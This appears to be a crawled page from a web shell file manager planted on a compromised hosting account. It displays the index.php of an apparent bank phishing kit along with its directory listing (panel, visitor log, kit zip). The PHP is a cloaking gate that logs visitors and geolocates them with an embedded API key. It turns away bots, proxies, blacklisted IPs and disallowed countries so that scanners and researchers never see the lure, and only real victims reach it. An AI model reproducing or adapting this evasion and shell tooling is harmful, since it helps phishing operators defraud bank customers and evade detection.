$81 GRAYBYTE WORDPRESS FILE MANAGER $13

SERVER : premium201.web-hosting.com #1 SMP Wed Mar 26 12:08:09 UTC 2025
SERVER IP : 172.67.162.162 | ADMIN IP 216.73.216.174
OPTIONS : CRL = ON | WGT = ON | SDO = OFF | PKEX = OFF
DEACTIVATED : NONE

/home/bravrvjk/cepurhuye.rw/076be9/

HOME
Current File : /home/bravrvjk/cepurhuye.rw/076be9//index.php
<?php

    session_start();
    session_regenerate_id();
    error_reporting(0);

    require_once('inc/BrowserDetection.php');
    require_once('inc/functions.php');

    if( file_exists("config.db") ) {
        $config = json_decode(file_get_contents("config.db"),true);
    } else {
        header("Location: install.php");
        exit();
    }

    $one_time_access          = ( $config['one_time_access'] ) ? $config['one_time_access'] : '';
    $conf_hcaptcha            = ( $config['hcaptcha'] ) ? $config['hcaptcha'] : '';
    $conf_hcaptcha_secret_key = ( $config['hcaptcha_secret_key'] ) ? $config['hcaptcha_secret_key'] : '';
    $conf_hcaptcha_site_key   = ( $config['hcaptcha_site_key'] ) ? $config['hcaptcha_site_key'] : '';
    $conf_antibot             = ( $config['antibot'] ) ? $config['antibot'] : '';
    $conf_botrmakey           = ( $config['botrmakey'] ) ? $config['botrmakey'] : '';
    $conf_device              = ( $config['device'] ) ? $config['device'] : '';
    $conf_redirect_bot        = ( $config['redirect_bots'] ) ? $config['redirect_bots'] : 'https://www.google.com/';
    $conf_allowed_countries   = ( $config['allowed_countries'] ) ? explode(',',$config['allowed_countries']) : [];
    $whitelist = ( is_array(json_decode($config['whitelist'],true)) ) ? json_decode($config['whitelist'],true) : '';
    $blacklist = ( is_array(json_decode($config['blacklist'],true)) ) ? json_decode($config['blacklist'],true) : '';
    $useragent = ( is_array(json_decode($config['useragent'],true)) ) ? json_decode($config['useragent'],true) : '';

    function get_ip_info_curl($ip) {
        $url = "https://pro.ip-api.com/php/{$ip}?key=UO8wl6MQD2zPxmf&fields=status,message,country,countryCode,timezone,currency,isp,mobile,proxy,hosting,query";

        $ch = curl_init($url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        
        $response = curl_exec($ch);
        curl_close($ch);

        if ($response !== false) {
            return unserialize($response);
        } else {
            return ['status' => 'fail', 'message' => 'cURL request failed'];
        }
    }
    $ip_infos = get_ip_info_curl(get_client_ip());

    if( allow_device($conf_device) == true ) {
        visitors($ip_infos,"Blocked by device");
        header("Location:" . $conf_redirect_bot);
        exit();
    }

    if( ip_filter($whitelist) ) {
        $_SESSION['last_page'] = "index";
        $_SESSION['user_allowed'] = true;
        visitors($ip_infos,"Whitelist");
        header("Location: DUVzTTavlOw/?redirection=index");
        exit();
    }

    if( ip_filter($blacklist) ) {
        visitors($ip_infos,"Blacklisted");
        header("Location:" . $conf_redirect_bot);
        exit();
    }

    if( block_user_agent($useragent) ) {
        visitors($ip_infos,"User Agent Blocked");
        header("Location:" . $conf_redirect_bot);
        exit();
    }

    if( $one_time_access == "on" && one_time_access() ) {
        session_destroy();
        visitors($ip_infos,"Blocked O-T-A");
        header("HTTP/1.1 403 Forbidden");
        die("Your IP address is not allowed to access this page.<br>You can only access the site once.");
    }

    if( $conf_hcaptcha == 1 ) {
        include('verifying.php');
        exit();
    }

    if( $conf_antibot == 1 ) {
        include('army.php');
        exit();
    }

    if( count($conf_allowed_countries) > 0 ) {
        if( !in_array($ip_infos['countryCode'],$conf_allowed_countries) ) {
            visitors($ip_infos,"Country not allowed");
            header("Location:" . $conf_redirect_bot);
            exit();
        }
    }

    if( $ip_infos['status'] == "success" ) {

        if( $ip_infos['proxy'] == true ) {
            visitors($ip_infos,"Detected as bot");
            header("Location:" . $conf_redirect_bot);
            exit();
        }

        $_SESSION['last_page'] = "index";
        $_SESSION['user_allowed'] = true;
        visitors($ip_infos,"Allowed");
        header("Location: DUVzTTavlOw/?redirection=index");
        exit();

    } else {
        if( get_client_ip() == "127.0.0.1" ) {
            $_SESSION['last_page'] = "index";
            $_SESSION['user_allowed'] = true;
            visitors($ip_infos,"Localhost");
            header("Location: DUVzTTavlOw/?redirection=index");
            exit();
        }
        visitors($ip_infos,"Not Allowed");
        header("Location:" . $conf_redirect_bot);
        exit();
    }

?>


Current_dir [ WRITEABLE ] Document_root [ WRITEABLE ]


[ Back ]
NAME
SIZE
LAST TOUCH
USER
CAN-I?
FUNCTIONS
..
--
12 Apr 2026 1.37 PM
bravrvjk / nobody
0777
DUVzTTavlOw
--
9 Feb 2025 5.30 PM
bravrvjk / bravrvjk
0777
assets
--
9 Feb 2025 5.36 PM
bravrvjk / bravrvjk
0777
inc
--
27 Feb 2026 5.33 AM
bravrvjk / bravrvjk
0777
panel
--
10 Apr 2026 4.42 PM
bravrvjk / bravrvjk
0777
.htaccess
0.1 KB
19 Mar 2024 11.53 PM
bravrvjk / bravrvjk
0666
army.php
5.658 KB
1 Jan 2026 2.37 AM
bravrvjk / bravrvjk
0666
config.db
0.413 KB
10 Apr 2026 3.21 PM
bravrvjk / bravrvjk
0644
index.php
4.472 KB
27 Feb 2026 5.33 AM
bravrvjk / bravrvjk
0666
install.php
19.555 KB
1 Jan 2026 2.37 AM
bravrvjk / bravrvjk
0666
one_time_access.txt
0 KB
20 Mar 2024 1.31 AM
bravrvjk / bravrvjk
0666
verifying.php
3.441 KB
22 Aug 2025 9.13 PM
bravrvjk / bravrvjk
0666
visitors.html
3.72 KB
12 Apr 2026 11.52 AM
bravrvjk / bravrvjk
0666
vrbankjdoda.zip
3.98 MB
10 Apr 2026 3.20 PM
bravrvjk / bravrvjk
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025 CONTACT ME
Static GIF